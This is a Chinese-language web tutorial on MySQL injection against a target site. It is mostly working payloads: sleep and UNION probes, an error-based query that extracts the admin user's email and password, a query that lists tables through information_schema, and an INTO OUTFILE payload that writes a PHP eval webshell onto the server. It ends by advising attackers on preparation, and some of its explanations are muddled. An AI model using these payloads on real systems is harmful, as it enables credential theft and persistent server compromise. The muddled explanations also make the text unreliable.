MySQL注入是指攻击者通过可写的输入源突破Web应用程序,从而访问或修改与该应用程序或其数据库相关的数据。其中,导出字段内容是一种常用的攻击方式,攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略:
在对目标站点进行注入攻击之前,需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。
通过输入特定的SQL语句触发目标站点返回数据库错误信息。
' and 1=1 and '1'='2
如果目标站点返回错误信息,则说明存在注入点。
通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload:
and 1=1
and 1=2
and sleep(5)
如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果,则说明存在注入点。
在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload:
and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users
如果目标站点在执行第二个Union语句的时候返回了密码信息,则说明存在注入点。
假设目标站点存在SQL注入点,而我们想要获取站点管理员用户的信息,可以使用以下Payload:
and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
解释:
这段代码使用了MySQL查询表中的数据拼接成字符串的方法,在查询admin用户的email和password时,将两者使用特定符号“|||”连接起来。其中,floor(rand()*2)是为了随机生成0或1,目的是为了在进行Union注入的时候输出不同的结果,从而判断是否存在注入点。如果输出“|||”连接的字符串,则存在注入点。
这个示例用于获取站点的数据库表,用到了MySQL的information_schema库。payload:
') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#
其中dbname为站点的数据库名,group_concat()函数用于将结果拼接为字符串而不是返回多行结果,从而避免后续的Union注入错误。
如果在获取站点的敏感信息时成功得到了管理员的账户和密码,我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload:
' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#
其中,/path/to/webshell.php需要替换成站点的目录。在执行该语句后,会将WebShell代码写入到服务器指定的文件中,然后攻击者就可以通过该WebShell来访问站点的控制台了。
总之,网站开发者需要高度重视SQL注入的安全性,采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言,要有充足的攻击前期准备,以及对Web应用程序和SQL注入攻击的深刻理解。
本文链接:http://task.lmcjl.com/news/13970.html